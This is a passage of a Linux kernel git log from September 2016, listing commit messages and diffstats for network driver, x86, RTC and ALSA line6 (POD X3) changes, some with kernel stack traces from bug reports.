this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be_cmds.c | 9 +++++---- drivers/net/ethernet/emulex/benet/be_main.c | 2 +- 2 files changed, 6 insertions(+), 5 deletions(-) commit 9940803065e3e15df8fd0d6a9e29f7b0617d8935 Author: Baoyou Xie Date: Sun Sep 18 16:26:34 2016 +0800 phy: mark lan88xx_suspend() static We get 1 warning when building kernel with W=1: drivers/net/phy/microchip.c:58:5: warning: no previous prototype for 'lan88xx_suspend' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. so this patch marks this function with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: David S. Miller drivers/net/phy/microchip.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6b352ebccbcf68866fa5e2ec98cce5e6b7cdf92e Author: Philippe Reynes Date: Sun Sep 18 17:16:45 2016 +0200 net: ethernet: broadcom: bcmgenet: use new api ethtool_{get|set}_link_ksettings The ethtool api {get|set}_settings is deprecated. We move this driver to new api {get|set}_link_ksettings. Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/genet/bcmgenet.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit 639cfa9e8cdaca5276c9786e22195653a0d4391b Author: Philippe Reynes Date: Sun Sep 18 16:59:07 2016 +0200 net: ethernet: broadcom: bcm63xx: use new api ethtool_{get|set}_link_ksettings The ethtool api {get|set}_settings is deprecated. We move this driver to new api {get|set}_link_ksettings. Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bcm63xx_enet.c | 52 +++++++++++++++------------- 1 file changed, 28 insertions(+), 24 deletions(-) commit 625eb8667d6fcb22e474502133986b2d2838917d Author: Philippe Reynes Date: Sun Sep 18 16:59:06 2016 +0200 net: ethernet: broadcom: bcm63xx: use phydev from struct net_device The private structure contain a pointer to phydev, but the structure net_device already contain such pointer. So we can remove the pointer phydev in the private structure, and update the driver to use the one contained in struct net_device. Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bcm63xx_enet.c | 31 +++++++++++++--------------- drivers/net/ethernet/broadcom/bcm63xx_enet.h | 1 - 2 files changed, 14 insertions(+), 18 deletions(-) commit 2406e5d4c4c48c9402c0629748c001178ea4c149 Author: Philippe Reynes Date: Sun Sep 18 00:11:35 2016 +0200 net: ethernet: broadcom: b44: use new api ethtool_{get|set}_link_ksettings The ethtool api {get|set}_settings is deprecated. We move this driver to new api {get|set}_link_ksettings. Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/b44.c | 98 ++++++++++++++++++++----------------- 1 file changed, 54 insertions(+), 44 deletions(-) commit 51f141bec15aecb2ee5f0db77761dbf219333b93 Author: Philippe Reynes Date: Sun Sep 18 00:11:34 2016 +0200 net: ethernet: broadcom: b44: use phydev from struct net_device The private structure contain a pointer to phydev, but the structure net_device already contain such pointer. So we can remove the pointer phydev in the private structure, and update the driver to use the one contained in struct net_device. Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/b44.c | 22 +++++++++++----------- drivers/net/ethernet/broadcom/b44.h | 1 - 2 files changed, 11 insertions(+), 12 deletions(-) commit 583c139c71ae1919c7c94b43fb55d6777ef30eaf Merge: 07b26c9 350a714 Author: David S. Miller Date: Mon Sep 19 21:32:31 2016 -0400 Merge branch 'bnxt_en-next' Michael Chan says: ==================== bnxt: update for net-next. Misc. changes and minor bug fixes for net-next. Please review. ==================== Signed-off-by: David S. Miller commit 350a714960eb8a980c913c9be5a96bb18b2fe9da Author: Eddie Wai Date: Mon Sep 19 03:58:09 2016 -0400 bnxt_en: Fixed the VF link status after a link state change The VF link state can be changed via the 'ip link set' cmd. Currently, the new link state does not take effect immediately. The fix is for the PF to send a link change async event to the designated VF after a VF link state change. This async event will trigger the VF to update the link status. Signed-off-by: Eddie Wai Signed-off-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnxt/bnxt_sriov.c | 84 ++++++++++++------------- 1 file changed, 42 insertions(+), 42 deletions(-) commit ae8e98a6fa7a73917196c507e43414ea96b6a0fc Author: Deepak Khungar Date: Mon Sep 19 03:58:08 2016 -0400 bnxt_en: Support for "ethtool -r" command Restart autoneg if autoneg is enabled. Signed-off-by: Deepak Khungar Signed-off-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnxt/bnxt_ethtool.c | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) commit 4ffcd582301bd020b1f9d00c55473af305ec19b5 Author: Michael Chan Date: Mon Sep 19 03:58:07 2016 -0400 bnxt_en: Pad TX packets below 52 bytes. The hardware has a limitation that it won't pass host to BMC loopback packets below 52-bytes. Signed-off-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnxt/bnxt.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 001154eb242b5a6667b74e5cf20873fb75f1b9d3 Author: Michael Chan Date: Mon Sep 19 03:58:06 2016 -0400 bnxt_en: Call firmware to approve the random VF MAC address. After generating the random MAC address for VF, call the firmware to approve it. This step serves 2 purposes. Some hypervisor (e.g. ESX) wants to approve the MAC address. 2nd, the call will setup the proper forwarding database in the internal switch. We need to unlock the hwrm_cmd_lock mutex before calling bnxt_approve_mac(). We can do that because we are at the end of the function and all the previous firmware response data has been copied. Signed-off-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnxt/bnxt.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit 7cc5a20e38fcaf395ac59e7ed6c3decb575a0dc7 Author: Michael Chan Date: Mon Sep 19 03:58:05 2016 -0400 bnxt_en: Re-arrange bnxt_hwrm_func_qcaps(). Re-arrange the code so that the generation of the random MAC address for the VF is at the end of the function. The next patch will add one more step to call bnxt_approve_mac() to get the firmware to approve the random MAC address. Signed-off-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnxt/bnxt.c | 23 ++++++++++++----------- 1 file changed, 12 insertions(+), 11 deletions(-) commit 47f8e8b9bbbbe00740786bd1da0d5097d45ba46b Author: Michael Chan Date: Mon Sep 19 03:58:04 2016 -0400 bnxt_en: Fix ethtool -l|-L inconsistent channel counts. The existing code is inconsistent in reporting and accepting the combined channel count. bnxt_get_channels() reports maximum combined as the maximum rx count. bnxt_set_channels() accepts combined count that cannot be bigger than max rx or max tx. For example, if max rx = 2 and max tx = 1, we report max supported combined to be 2. But if the user tries to set combined to 2, it will fail because 2 is bigger than max tx which is 1. Fix the code to be consistent. Max allowed combined = max(max_rx, max_tx). We will accept a combined channel count <= max(max_rx, max_tx). Signed-off-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnxt/bnxt_ethtool.c | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) commit 5ac67d8bc753b122175e682274599338b3ee7d42 Author: Rob Swindell Date: Mon Sep 19 03:58:03 2016 -0400 bnxt_en: Added support for Secure Firmware Update Using Ethtool flashdev command, entire NVM package (*.pkg) files may now be staged into the "update" area of the NVM and subsequently verified and installed by the firmware using the newly introduced command: NVM_INSTALL_UPDATE. We also introduce use of the new firmware command FW_SET_TIME so that the NVM-resident package installation log contains valid time-stamps. Signed-off-by: Rob Swindell Signed-off-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnxt/bnxt.c | 24 ++++ drivers/net/ethernet/broadcom/bnxt/bnxt.h | 1 + drivers/net/ethernet/broadcom/bnxt/bnxt_ethtool.c | 155 ++++++++++++++++++++-- drivers/net/ethernet/broadcom/bnxt/bnxt_fw_hdr.h | 16 ++- 4 files changed, 182 insertions(+), 14 deletions(-) commit 441cabbbf1bd0b99e283c9116fe430e53ee67a4a Author: Michael Chan Date: Mon Sep 19 03:58:02 2016 -0400 bnxt_en: Update to firmware interface spec 1.5.1. Signed-off-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnxt/bnxt.c | 3 + drivers/net/ethernet/broadcom/bnxt/bnxt.h | 14 +- drivers/net/ethernet/broadcom/bnxt/bnxt_hsi.h | 1251 +++++++++++++++---------- 3 files changed, 760 insertions(+), 508 deletions(-) commit adbc830545003c4b7494c903654bea22e5a66bb4 Author: Michael Chan Date: Mon Sep 19 03:58:01 2016 -0400 bnxt_en: Simplify PCI device names and add additinal PCI IDs. Remove "Single-port/Dual-port" from the device names. Dual-port devices will appear as 2 separate devices, so no need to call each a dual-port device. Use a more generic name for VF devices belonging to the same chip fanmily. Add some remaining NPAR device IDs. Signed-off-by: David Christensen Signed-off-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnxt/bnxt.c | 68 ++++++++++++++++--------------- 1 file changed, 36 insertions(+), 32 deletions(-) commit 8d6be8b627389c6dc7e0ea2455a7542c8a2a16a7 Author: Michael Chan Date: Mon Sep 19 03:58:00 2016 -0400 bnxt_en: Use RSS flags defined in the bnxt_hsi.h file. And remove redundant definitions of the same flags. Signed-off-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnxt/bnxt.c | 8 ++++---- drivers/net/ethernet/broadcom/bnxt/bnxt.h | 5 ----- 2 files changed, 4 insertions(+), 9 deletions(-) commit 07b26c9454a2a19fff86d6fcf2aba6bc801eb8d8 Author: Steffen Klassert Date: Mon Sep 19 12:58:47 2016 +0200 gso: Support partial splitting at the frag_list pointer Since commit 8a29111c7 ("net: gro: allow to build full sized skb") gro may build buffers with a frag_list. This can hurt forwarding because most NICs can't offload such packets, they need to be segmented in software. This patch splits buffers with a frag_list at the frag_list pointer into buffers that can be TSO offloaded. Signed-off-by: Steffen Klassert Acked-by: Alexander Duyck Signed-off-by: David S. Miller net/core/skbuff.c | 51 +++++++++++++++++++++++++++++++++++++++----------- net/ipv4/af_inet.c | 14 ++++++++++---- net/ipv4/gre_offload.c | 6 ++++-- net/ipv4/tcp_offload.c | 13 +++++++------ net/ipv4/udp_offload.c | 6 ++++-- net/ipv6/ip6_offload.c | 5 ++++- 6 files changed, 69 insertions(+), 26 deletions(-) commit 07d0e9a847401ffd2f09bd450d41644cd090e81d Author: Brian King Date: Mon Sep 19 08:59:19 2016 -0500 scsi: ibmvfc: Fix I/O hang when port is not mapped If a VFC port gets unmapped in the VIOS, it may not respond with a CRQ init complete following H_REG_CRQ. If this occurs, we can end up having called scsi_block_requests and not a resulting unblock until the init complete happens, which may never occur, and we end up hanging I/O requests. This patch ensures the host action stay set to IBMVFC_HOST_ACTION_TGT_DEL so we move all rports into devloss state and unblock unless we receive an init complete. Cc: Signed-off-by: Brian King Acked-by: Tyrel Datwyler Signed-off-by: Martin K. Petersen drivers/scsi/ibmvscsi/ibmvfc.c | 1 - 1 file changed, 1 deletion(-) commit eeac0a878829e15b86429b164244ac18a740633d Author: Bjorn Andersson Date: Tue Sep 13 12:16:20 2016 -0700 remoteproc: Drop unnecessary NULL check rproc_alloc() will make sure that the "firmware" pointer is either a driver supplied value or pointing to a generated firmware filename, it can't be NULL. So drop the extra check in the rproc_boot() path. Signed-off-by: Bjorn Andersson drivers/remoteproc/remoteproc_core.c | 7 ------- 1 file changed, 7 deletions(-) commit 8ee83b2ab3d1987cbd80c9f2c6f2b12fed87b51e Author: Alexander Shishkin Date: Fri Sep 16 16:48:19 2016 +0300 perf/x86/intel/pt: Add support for PTWRITE and power event tracing The Intel PT facility grew some new functionality: * PTWRITE packet carries the payload of the new PTWRITE instruction that can be used to instrument Intel PT traces with user-supplied data. Packets of this type are only generated if 'ptwrite' capability is set and PTWEn bit is set in the event attribute's config. Flow update packets (FUP) can be generated on PTWRITE packets if FUPonPTW config bit is set. Setting these bits is not allowed if 'ptwrite' capability is not set. * PWRE, PWRX, MWAIT, EXSTOP packets communicate core power management events. These depend on 'power_event_tracing' capability and are enabled by setting PwrEvtEn bit in the event attribute. Extend the driver capabilities and provide the proper sanity checks in the event validation function. [ tglx: Massaged changelog ] Signed-off-by: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Peter Zijlstra Cc: vince@deater.net Cc: eranian@google.com Cc: Adrian Hunter Link: http://lkml.kernel.org/r/20160916134819.1978-1-alexander.shishkin@linux.intel.com Signed-off-by: Thomas Gleixner arch/x86/events/intel/pt.c | 24 +++++++++++++++++++++++- arch/x86/events/intel/pt.h | 5 +++++ 2 files changed, 28 insertions(+), 1 deletion(-) commit 3dc4674a603093ddcd013a54f759d75aa15de032 Author: Jyri Sarha Date: Fri Sep 16 14:50:13 2016 +0300 ARM: dts: am335x-evmsk: Add blue-and-red-wiring -property to lcdc node Add blue-and-red-wiring -property to lcdc node. The am335x-evmsk has blue and red wires crossed to get 24-bit RGB (and 16-bit BGR) support. After this patch am335x-evmsk supports BGR565, RGB888, and XRGB8888 color formats. See details in Documentation/devicetree/bindings/display/tilcdc/tilcdc.txt. Signed-off-by: Jyri Sarha Reviewed-by: Tomi Valkeinen Signed-off-by: Tony Lindgren arch/arm/boot/dts/am335x-evmsk.dts | 2 ++ 1 file changed, 2 insertions(+) commit 5dffb684e090aa83ff054647ab4ba89a81986690 Author: Jyri Sarha Date: Fri Sep 16 14:50:12 2016 +0300 ARM: dts: am335x-evmsk: Whitespace cleanup of lcdc related nodes Whitespace cleanup of lcdc related nodes. Do all indentation and alignment with tabs instead of spaces. Signed-off-by: Jyri Sarha Reviewed-by: Tomi Valkeinen Signed-off-by: Tony Lindgren arch/arm/boot/dts/am335x-evmsk.dts | 40 +++++++++++++++++++------------------- 1 file changed, 20 insertions(+), 20 deletions(-) commit f91f0f246632d2a8ee63dbbffaa5163fb5432c74 Author: Jyri Sarha Date: Fri Sep 16 14:50:11 2016 +0300 ARM: dts: am335x-evm: Add blue-and-red-wiring -property to lcdc node Add blue-and-red-wiring -property to lcdc node. The am335x-evm has blue and red wires crossed to get 24-bit RGB (and 16-bit BGR) support. After this patch am335x-evm supports BGR565, RGB888, and XRGB8888 color formats. See details in Documentation/devicetree/bindings/display/tilcdc/tilcdc.txt. Signed-off-by: Jyri Sarha Reviewed-by: Tomi Valkeinen Signed-off-by: Tony Lindgren arch/arm/boot/dts/am335x-evm.dts | 2 ++ 1 file changed, 2 insertions(+) commit 744c193eb9a223ccb2e60500196cf590b3a6131a Author: Paul Gortmaker Date: Mon Sep 19 17:04:18 2016 -0400 x86: Migrate exception table users off module.h and onto extable.h These files were only including module.h for exception table related functions. We've now separated that content out into its own file "extable.h" so now move over to that and avoid all the extra header content in module.h that we don't really need to compile these files. Signed-off-by: Paul Gortmaker Acked-by: Ingo Molnar Link: http://lkml.kernel.org/r/20160919210418.30243-1-paul.gortmaker@windriver.com Signed-off-by: Thomas Gleixner arch/x86/kernel/kprobes/core.c | 2 +- arch/x86/kernel/kprobes/opt.c | 2 +- arch/x86/mm/extable.c | 2 +- arch/x86/mm/fault.c | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) commit 6baf3d61821f5b38f27b4e9f044ad4d1e8f3d14f Author: Prarit Bhargava Date: Mon Sep 19 08:51:41 2016 -0400 x86/tsc: Add additional Intel CPU models to the crystal quirk list commit aa297292d708 ("x86/tsc: Enumerate SKL cpu_khz and tsc_khz via CPUID") added code to retrieve the crystal and TSC frequency from CPUID leaves. If the crystal freqency is enumerated as 0,the resulting TSC frequency is 0 as well. For CPUs with a known fixed crystal frequency a quirk list is available to set the frequency, Kabylake and SkylakeX CPUs are missing in the list of CPUs which need this quirk. Add them so the TSC frequency can be calculated correctly. [ tglx: Removed the silly default case as the switch() is only invoked when cpu_khz is 0. Massaged changelog. ] Signed-off-by: Prarit Bhargava Cc: Len Brown Cc: Rafael Aquini Cc: "Peter Zijlstra (Intel)" Cc: Andy Lutomirski Link: http://lkml.kernel.org/r/1474289501-31717-3-git-send-email-prarit@redhat.com Signed-off-by: Thomas Gleixner arch/x86/kernel/tsc.c | 5 +++++ 1 file changed, 5 insertions(+) commit 655e52d2b62458032fc67ff7daaa664af6f36fb5 Author: Prarit Bhargava Date: Mon Sep 19 08:51:40 2016 -0400 x86/tsc: Use cpu id defines instead of hex constants asm/intel-family.h contains defines for cpu ids which should be used instead of hex constants. Convert the switch case in native_calibrate_tsc() to use the defines before adding more cpu models. [ tglx: Massaged changelog ] Signed-off-by: Prarit Bhargava Cc: Len Brown Cc: Rafael Aquini Cc: "Peter Zijlstra (Intel)" Cc: Andy Lutomirski Link: http://lkml.kernel.org/r/1474289501-31717-2-git-send-email-prarit@redhat.com Signed-off-by: Thomas Gleixner arch/x86/kernel/tsc.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit cff9ab2b291e64259d97add48fe073c081afe4e2 Author: Denys Vlasenko Date: Tue Sep 13 20:12:32 2016 +0200 x86/apic: Get rid of apic_version[] array The array has a size of MAX_LOCAL_APIC, which can be as large as 32k, so it can consume up to 128k. The array has been there forever and was never used for anything useful other than a version mismatch check which was introduced in 2009. There is no reason to store the version in an array. The kernel is not prepared to handle different APIC versions anyway, so the real important part is to detect a version mismatch and warn about it, which can be done with a single variable as well. [ tglx: Massaged changelog ] Signed-off-by: Denys Vlasenko CC: Andy Lutomirski CC: Borislav Petkov CC: Brian Gerst CC: Mike Travis Link: http://lkml.kernel.org/r/20160913181232.30815-1-dvlasenk@redhat.com Signed-off-by: Thomas Gleixner arch/x86/include/asm/mpspec.h | 2 +- arch/x86/kernel/acpi/boot.c | 2 +- arch/x86/kernel/apic/apic.c | 17 +++++++---------- arch/x86/kernel/apic/io_apic.c | 4 ++-- arch/x86/kernel/apic/probe_32.c | 2 +- arch/x86/kernel/smpboot.c | 10 +++++----- 6 files changed, 17 insertions(+), 20 deletions(-) commit b0f48706a176b71a6e54f399d7404bbeeaa7cfab Author: Wanpeng Li Date: Sun Sep 18 19:34:51 2016 +0800 x86/apic: Order irq_enter/exit() calls correctly vs. ack_APIC_irq() =============================== [ INFO: suspicious RCU usage. ] 4.8.0-rc6+ #5 Not tainted ------------------------------- ./arch/x86/include/asm/msr-trace.h:47 suspicious rcu_dereference_check() usage! other info that might help us debug this: RCU used illegally from idle CPU! rcu_scheduler_active = 1, debug_locks = 0 RCU used illegally from extended quiescent state! no locks held by swapper/2/0. stack backtrace: CPU: 2 PID: 0 Comm: swapper/2 Not tainted 4.8.0-rc6+ #5 Hardware name: Dell Inc. OptiPlex 7020/0F5C5X, BIOS A03 01/08/2015 0000000000000000 ffff8d1bd6003f10 ffffffff94446949 ffff8d1bd4a68000 0000000000000001 ffff8d1bd6003f40 ffffffff940e9247 ffff8d1bbdfcf3d0 000000000000080b 0000000000000000 0000000000000000 ffff8d1bd6003f70 Call Trace: [] dump_stack+0x99/0xd0 [] lockdep_rcu_suspicious+0xe7/0x120 [] do_trace_write_msr+0x135/0x140 [] native_write_msr+0x20/0x30 [] native_apic_msr_eoi_write+0x1d/0x30 [] smp_trace_call_function_interrupt+0x1e/0x270 [] trace_call_function_interrupt+0x96/0xa0 [] ? cpuidle_enter_state+0xe4/0x360 [] ? cpuidle_enter_state+0xcf/0x360 [] cpuidle_enter+0x17/0x20 [] cpu_startup_entry+0x338/0x4d0 [] start_secondary+0x154/0x180 This can be reproduced readily by running ftrace test case of kselftest. Move the irq_enter() call before ack_APIC_irq(), because irq_enter() tells the RCU susbstems to end the extended quiescent state, so that the following trace call in ack_APIC_irq() works correctly. The same applies to exiting_ack_irq() which calls ack_APIC_irq() after irq_exit(). [ tglx: Massaged changelog ] Signed-off-by: Wanpeng Li Cc: Peter Zijlstra Cc: Wanpeng Li Link: http://lkml.kernel.org/r/1474198491-3738-1-git-send-email-wanpeng.li@hotmail.com Signed-off-by: Thomas Gleixner arch/x86/include/asm/apic.h | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 970fc7f4afd52d638d88aeda985ea03ccd33acee Author: Pratyush Anand Date: Thu Sep 15 09:38:16 2016 +0530 rtc: cmos: Initialize hpet timer before irq is registered We have observed on few x86 machines with rtc-cmos device that hpet_rtc_interrupt() is called just after irq registration and before cmos_do_probe() could call hpet_rtc_timer_init(). So, neither hpet_default_delta nor hpet_t1_cmp is initialized by the time interrupt is raised in the given situation, and this results in NMI watchdog LOCKUP. It has only been observed sporadically on kdump secondary kernels. See the call trace: ---<-snip->--- [ 27.913194] Kernel panic - not syncing: Watchdog detected hard LOCKUP on cpu 0 [ 27.915371] CPU: 0 PID: 1 Comm: swapper/0 Not tainted 3.10.0-342.el7.x86_64 #1 [ 27.917503] Hardware name: HP ProLiant DL160 Gen8, BIOS J03 02/10/2014 [ 27.919455] ffffffff8186a728 0000000059c82488 ffff880034e05af0 ffffffff81637bd4 [ 27.921870] ffff880034e05b70 ffffffff8163144a 0000000000000010 ffff880034e05b80 [ 27.924257] ffff880034e05b20 0000000059c82488 0000000000000000 0000000000000000 [ 27.926599] Call Trace: [ 27.927352] [] dump_stack+0x19/0x1b [ 27.929080] [] panic+0xd8/0x1e7 [ 27.930588] [] ? restart_watchdog_hrtimer+0x50/0x50 [ 27.932502] [] watchdog_overflow_callback+0xc2/0xd0 [ 27.934427] [] __perf_event_overflow+0xa1/0x250 [ 27.936232] [] perf_event_overflow+0x14/0x20 [ 27.937957] [] intel_pmu_handle_irq+0x1e8/0x470 [ 27.939799] [] perf_event_nmi_handler+0x2b/0x50 [ 27.941649] [] nmi_handle.isra.0+0x69/0xb0 [ 27.943348] [] do_nmi+0x169/0x340 [ 27.944802] [] end_repeat_nmi+0x1e/0x2e [ 27.946424] [] ? hpet_rtc_interrupt+0x85/0x380 [ 27.948197] [] ? hpet_rtc_interrupt+0x85/0x380 [ 27.949992] [] ? hpet_rtc_interrupt+0x85/0x380 [ 27.951816] <> [] ? run_timer_softirq+0x43/0x340 [ 27.954114] [] handle_irq_event_percpu+0x3e/0x1e0 [ 27.955962] [] handle_irq_event+0x3d/0x60 [ 27.957635] [] handle_edge_irq+0x77/0x130 [ 27.959332] [] handle_irq+0xbf/0x150 [ 27.960949] [] do_IRQ+0x4f/0xf0 [ 27.962434] [] common_interrupt+0x6d/0x6d [ 27.964101] [] ? _raw_spin_unlock_irqrestore+0x1b/0x40 [ 27.966308] [] __setup_irq+0x2a7/0x570 [ 28.067859] [] ? hpet_cpuhp_notify+0x140/0x140 [ 28.069709] [] request_threaded_irq+0xcc/0x170 [ 28.071585] [] cmos_do_probe+0x1e6/0x450 [ 28.073240] [] ? cmos_do_probe+0x450/0x450 [ 28.074911] [] cmos_pnp_probe+0xbb/0xc0 [ 28.076533] [] pnp_device_probe+0x65/0xd0 [ 28.078198] [] driver_probe_device+0x87/0x390 [ 28.079971] [] __driver_attach+0x93/0xa0 [ 28.081660] [] ? __device_attach+0x40/0x40 [ 28.083662] [] bus_for_each_dev+0x73/0xc0 [ 28.085370] [] driver_attach+0x1e/0x20 [ 28.086974] [] bus_add_driver+0x200/0x2d0 [ 28.088634] [] ? rtc_sysfs_init+0xe/0xe [ 28.090349] [] driver_register+0x64/0xf0 [ 28.091989] [] pnp_register_driver+0x20/0x30 [ 28.093707] [] cmos_init+0x11/0x71 ---<-snip->--- This patch moves hpet_rtc_timer_init() before IRQ registration, so that we can gracefully handle such spurious interrupts. It also masks HPET RTC interrupts, in case IRQ registration fails. We were able to reproduce the problem in maximum 15 trials of kdump secondary kernel boot on an hp-dl160gen8 FCoE host machine without this patch. However, more than 35 trials went fine after applying this patch. Suggested-by: Thomas Gleixner Signed-off-by: Pratyush Anand Acked-by: Thomas Gleixner Signed-off-by: Alexandre Belloni drivers/rtc/rtc-cmos.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit d6fbd37bc1468de4190da35ab7f4495f0ad9315b Author: Neil Armstrong Date: Fri Sep 16 10:09:17 2016 +0200 MAINTAINERS: update list of Oxnas maintainers Add a new list address in the MAINTAINERS file for the Oxnas platform. Signed-off-by: Neil Armstrong Signed-off-by: Arnd Bergmann MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit 95ab29a1f1c41fb958ff67926cc0c8e08c89d38e Merge: 1c90e17 dd34b11 Author: Arnd Bergmann Date: Tue Sep 20 00:03:37 2016 +0200 Merge tag 'uniphier-soc-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/masahiroy/linux-uniphier into next/soc Pull "UniPhier ARM SoC updates for v4.9" from Masahiro Yamada: * Remove unneeded SMP code * tag 'uniphier-soc-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/masahiroy/linux-uniphier: ARM: uniphier: remove SoC-specific SMP code commit 6e68b08728ce3365c713f8663c6b05a79e2bbca1 Author: Vinson Lee Date: Sat Sep 17 00:51:53 2016 +0000 x86/vdso: Use CONFIG_X86_X32_ABI to enable vdso prctl The prctl code which references vdso_image_x32 is built when CONFIG_X86_X32 is set. This results in the following build failure: LD init/built-in.o arch/x86/built-in.o: In function `do_arch_prctl': (.text+0x27466): undefined reference to `vdso_image_x32' vdso_image_x32 depends on CONFIG_X86_X32_ABI. So we need to make the prctl depend on that as well. [ tglx: Massaged changelog ] Fixes: 2eefd8789698 ("x86/arch_prctl/vdso: Add ARCH_MAP_VDSO_*") Signed-off-by: Vinson Lee Reviewed-by: Dmitry Safonov Cc: Andy Lutomirski Cc: Brian Gerst Cc: Borislav Petkov Cc: Dmitry Vyukov Link: http://lkml.kernel.org/r/1474073513-6656-1-git-send-email-vlee@freedesktop.org Signed-off-by: Thomas Gleixner arch/x86/kernel/process_64.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a16039cbf1a1ee7e76d7d100f9e613998919ab91 Author: Andrej Krutak Date: Sun Sep 18 20:59:32 2016 +0200 ALSA: line6: Add hwdep interface to access the POD control messages We must do it this way, because e.g. POD X3 won't play any sound unless the host listens on the bulk EP, so we cannot export it only via libusb. The driver currently doesn't use the bulk EP messages in other way, in future it could e.g. sense/modify volume(s). Signed-off-by: Andrej Krutak Signed-off-by: Takashi Iwai include/uapi/sound/asound.h | 3 +- sound/usb/line6/driver.c | 152 ++++++++++++++++++++++++++++++++++++++++++-- sound/usb/line6/driver.h | 23 ++++++- 3 files changed, 171 insertions(+), 7 deletions(-) commit cfa769695d2bc50b729db6a5973398b24d126c79 Author: Andrej Krutak Date: Sun Sep 18 20:59:31 2016 +0200 ALSA: line6: Cleanup podhd initialization Only initialize PCM for POD HD devices that support it. No POD HD seems to support MIDI, thus drop the initialization. Signed-off-by: Andrej Krutak Signed-off-by: Takashi Iwai sound/usb/line6/podhd.c | 19 ++++++++----------- 1 file changed, 8 insertions(+), 11 deletions(-) commit f6a0dd107ad0c8b59d1c9735eea4b8cb9f460949 Author: Andrej Krutak Date: Sun Sep 18 20:59:30 2016 +0200 ALSA: line6: Only determine control port properties if needed Not all line6 devices use the control port. Signed-off-by: Andrej Krutak Signed-off-by: Takashi Iwai sound/usb/line6/driver.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit c039aaa77a7d1d9375665a8b59ec16dc7d23e259 Author: Andrej Krutak Date: Sun Sep 18 20:59:29 2016 +0200 ALSA: line6: Add support for POD X3 Live (only USB ID differs from POD X3) Signed-off-by: Andrej Krutak Signed-off-by: Takashi Iwai sound/usb/line6/podhd.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 790869dacc3d8d4de318905eef32b1f603d02cac Author: Andrej Krutak Date: Sun Sep 18 20:59:28 2016 +0200 ALSA: line6: Add support for POD X3 This includes audio in/out and basic initialization via control EP (emulates what original driver does). The initialization is done similarly to original POD, firmware and serial IDs are read and exported via sysfs. Signed-off-by: Andrej Krutak Signed-off-by: Takashi Iwai sound/usb/line6/Kconfig | 4 +- sound/usb/line6/podhd.c | 276 +++++++++++++++++++++++++++++++++++++++++++++--- 2 files changed, 265 insertions(+), 15 deletions(-) commit 7811a3ad18ac1477976224cc2e8607654870edfc Author: Andrej Krutak Date: Sun Sep 18 20:59:27 2016 +0200 ALSA: line6: Allow processing of raw incoming messages Not all PODs use MIDI via USB data interface, thus allow avoiding that code and instead using direct processing. Signed-off-by: Andrej Krutak Signed-off-by: Takashi Iwai sound/usb/line6/driver.c | 59 ++++++++++++++++++++++++++++-------------------- sound/usb/line6/driver.h | 9 +++++--- sound/usb/line6/midi.c | 2 +- 3 files changed, 41 insertions(+), 29 deletions(-) commit 174e1fc0bff5e0bbdf5eb0cbf1b8c0d64a0f38d2 Author: Andrej Krutak Date: Sun Sep 18 20:59:26 2016 +0200 ALSA: line6: Distinguish device init (ctrl EP) and MIDI data transfer (int EP) POD X3 can initialize similarly to older PODs, but it doesn't have the MIDI interface. Instead, configuration is done via proprietary bulk EP messages. Signed-off-by: Andrej Krutak Signed-off-by: Takashi Iwai sound/usb/line6/driver.c | 72 ++++++++++++++++++++++++++++++++++-------------- sound/usb/line6/driver.h | 6 ++-- sound/usb/line6/pod.c | 9 +++++- sound/usb/line6/variax.c | 6 ++-- 4 files changed, 68 insertions(+), 25 deletions(-) commit f56742cc41895b1ed3742406dc3587b0d6424acb Author: Andrej Krutak Date: Sun Sep 18 20:59:25 2016 +0200 ALSA: line6: Add LINE6_CAP_IN_NEEDS_OUT, a void playback stream during capture E.g. POD X3 seems to require playback data to be sent to it to generate capture data. Otherwise the device stalls and doesn't send any more capture data until it's reset. Signed-off-by: Andrej Krutak Signed-off-by: Takashi Iwai sound/usb/line6/capture.c | 5 +++++ sound/usb/line6/driver.h | 4 +++- sound/usb/line6/pcm.c | 31 ++++++++++++++++++++++++------- sound/usb/line6/pcm.h | 4 +++- sound/usb/line6/toneport.c | 4 ++-- 5 files changed, 37 insertions(+), 11 deletions(-) commit 97d78acfb870a67339957e9c4d36dc03242df315 Author: Andrej 